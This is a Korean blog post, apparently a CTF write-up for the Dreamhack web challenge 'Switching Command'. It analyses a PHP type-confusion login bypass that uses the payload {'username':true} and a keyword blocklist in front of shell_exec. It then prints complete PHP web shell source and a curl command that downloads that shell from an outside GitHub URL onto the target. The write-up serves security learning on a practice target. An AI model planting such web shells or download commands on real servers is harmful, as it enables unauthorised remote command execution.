CTF & Wargame(WEB)

Dreamhack Switching Command

KWAKBUMJUN 2025. 5. 30. 19:01

Switching Command

문제 분석

위와 같은 화면을 확인할 수 있다.

임의로 Username으로 guest라는 값을 주고 Submit 버튼을 눌러보니,

“Failed to parse JSON data”라는 결과가 출력된다.

어떤 조건에서 어떤 페이지를 리다이렉션 해주는지 모르기 때문에 소스코드를 분석해보자

“guest” → 이렇게 입력해주면

위와 같이 test.php로 잘 넘어감

소스코드 분석

index.php

if ($_SERVER["REQUEST_METHOD"]=="POST"){
    $data = json_decode($_POST["username"]);

    if ($data === null) {
        exit("Failed to parse JSON data");
    }

만약 request method가 post라면 JSON 형식의 데이터를 php에서 사용할 수 있는 형태의 데이터로 변환시켜 준 뒤에 data 변수에 저장한다.

그리고 만약 data가 null이라면 위의 결과에서 확인한 것과 같이 Failed to parse JSON data라는 값을 출력해준다.

→ username을 입력할 때 그냥 guest라고만 입력하지 말고 “guest”라고 입력해야함

$username = $data->username;

    if($username === "admin" ){
        exit("no hack");
    }

data라는 객체에서 username이라는 속성을 추출함

// $data 객체가 이렇다고 가정하면:
$data = {
username: "홍길동",
email: "hong@example.com",
age: 25
}

// $username = $data->username; 실행 후
// $username에는 "홍길동" 저장됨

<실행>

{"username": "admin"} 이렇게 객체 형태로 username에 입력하고 전송하면

no hack라고 뜸

switch($username){
        case "admin":
            $user = "admin";
            $password = "***REDACTED***";
            $stmt = $conn -> prepare("SELECT * FROM users WHERE username = ? AND password = ?");
            $stmt -> bind_param("ss",$user,$password);
            $stmt -> execute();
            $result = $stmt -> get_result();
            if ($result -> num_rows == 1){
                $_SESSION["auth"] = "admin";
                header("Location: test.php");
            } else {
                $message = "Something wrong...";
            }
            break;
        default:
            $_SESSION["auth"] = "guest";
            header("Location: test.php");

    }

$username이 admin이라면

  • 세션의 auth 값을 admin으로 설정하고 test.php로 리다이렉트 → 세션 auth가 admin일때 test.php가 어떻게 동작하는지 살펴보기

$username이 admin이 아닌 경우에는 세션의 auth 값을 guest로 설정하고 test.php로 리다이렉트

→ 세션의 auth 값이 admin으로 설정된 상태로 test.php로 넘어가려면 위의 $username === “admin”을 우회해야함

<생각나는 우회 방안>

type confusion으로 느슨한 비교 우회

test.php 분석

$pattern = '/\b(flag|nc|netcat|bin|bash|rm|sh)\b/i';

if($_SESSION["auth"] === "admin"){

    $command = isset($_GET["cmd"]) ? $_GET["cmd"] : "ls";
    $sanitized_command = str_replace("\n","",$command);
    if (preg_match($pattern, $sanitized_command)){
        exit("No hack");
    }
    $resulttt = shell_exec(escapeshellcmd($sanitized_command));
}

index.php에서 성공적으로 session[auth] 값이 admin으로 설정 되었다면($username === “admin” 조건을 우회하여 성공적으로 switch 구문을 실행시켰다면)

만약 SESSION[”auth”] 값이 admin이라면

  • 삼항연산 : url 파라미터로 cmd 값이 있다면 cmd값을 command에 할당하고 cmd값이 없다면 ls 할당

그리고 command에 저장된 문자열에서 개행(\n) 제거

만약 sanitized_command에 저장된 값이 pattern에 정의된 패턴과 일치하면 No hack 출력

sanitized_command에 저장된 커맨드 실행 결과를 resulttt 변수에 저장

else if($_SESSION["auth"]=== "guest") {

    $command = "echo hi guest";
    $result = shell_exec($command);

만약 session[auth]가 guest라면 echo hi guest 출력하고 result에 command 실행 결과 저장

웹 동작 흐름

<index.php>에서 data객체의 username 속성 추출 → if($username === "admin" ) 조건을 우회 했다면 → switch 구문 실행 → username이 admin이면 → session[auth]의 값을 admin으로 저장 → test.php로 이동 → <test.php> → 전달받은 session[auth]가 admin이라면 → 삼항 연산 실행 → cmd 파라미터 존재하면 cmd 파라미터를 command 변수에 저장 → command 변수의 개행 제거 → pattern 검사 우회 → resulttt에 sanitized_command에 저장된 커맨드 실행 결과 저장(cat flag.txt 같은)

취약점 분석

일단 코드를 보면서 생각한 취약점은 아래와 같다

  1. 첫 번째 취약점은 index.php에서 발생할 수 있는 type confusion
  2. 두번째 취약점은 test.php에서 preg_match를 우회하여 flag.c를 실행시킨 결과를 resulttt에 저장하는 것
  3. index.php의 if문과 switch 문을 보면, if문의 경우에는 ===와 같은 엄격한 비교를 사용하지만 switch문은 ==와 같은 느슨한 비교를 사용하고 있다.
    1. 그니까 ===는 false여야하고 switch 문의 ==만 우회하면 됨
  4. 아니면 웹셸 업로드?

일단 admin이 아니면 명령어를 실행하지 못하기 때문에 admin 권한으로 로그인 해야함

<공격 시나리오>

index.php의 if data === admin을 type confusion으로 우회 → switch 구문 실행돼서 session[auth] = admin으로 설정됨

  • data === admin 우회 → === 비교는 값과 자료형이 모두 값아야 true를 반환하기 때문에 값만 같고, 자료형은 다른 값을 삽입하여 우회 시도
  •  

test.php의 preg_match 필터링 우회 → 원하는 명령어 실행 가능 → 익스플로잇 성공

익스플로잇

취약점 1

if($username === "admin" ){
        exit("no hack");
    }

    switch($username){
        case "admin":
            $user = "admin";
            $password = "***REDACTED***";
            $stmt = $conn -> prepare("SELECT * FROM users WHERE username = ? AND password = ?");
            $stmt -> bind_param("ss",$user,$password);
            $stmt -> execute();
            $result = $stmt -> get_result();
            if ($result -> num_rows == 1){
                $_SESSION["auth"] = "admin";
                header("Location: test.php");
            } else {
                $message = "Something wrong...";
            }
            break;

=== → strict comparison(엄격한 비교)

username === “admin” 우회 → switch 구문 실행 돼야함

switch 구문은 첫번째 case부터 차례대로 비교하고 ==(느슨한 비교)를 사용함

  • 첫번째 비교 : username == “admin”

payload : {”username”:true}

  • 위의 payload를 삽입하면 첫번째 case가 true가 되기 때문에 SESSION[’auth’] = “admin” 설정됨

취약점 2

$pattern = '/\b(flag|nc|netcat|bin|bash|rm|sh)\b/i';

if($_SESSION["auth"] === "admin"){

    $command = isset($_GET["cmd"]) ? $_GET["cmd"] : "ls";
    $sanitized_command = str_replace("\n","",$command);
    if (preg_match($pattern, $sanitized_command)){
        exit("No hack");
    }
    $resulttt = shell_exec(escapeshellcmd($sanitized_command));
}

preg_match 때문에 특정 키워드를 사용하지 못한다. 그리고 resulttt의 결과를 화면에 보여주지 않기 때문에 필터링에 걸리지 않는 명령어를 사용하여 웹셸을 업로드 해야한다.

키워드 : curl, php

webshell.php

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
</html>

위와 같이 깃에 webshell코드를 올리고 (웹셸 url은 raw 형식의 url을 사용해야한다.)

?cmd=curl -o webshell.php “https://raw.githubusercontent.com/hstuk713/webshell/refs/heads/main/shell.php

위와 같이 cmd에 웹셸 실행 명령어를 삽입해주면

 

이렇게 webshell.php가 실행되고 /flag로 플래그를 읽으면 위와 같이 성공적으로 flag를 획득할 수 있다.

'CTF & Wargame(WEB)' 카테고리의 다른 글

Dreamhack Movie time table  (0) 2025.06.01
dreamhack insane python  (1) 2025.05.20
dreamhack username:password@ 풀이  (0) 2025.05.20
Black-Hacker-Company  (0) 2025.05.14
SSTI 관련 문제 풀이  (0) 2025.05.04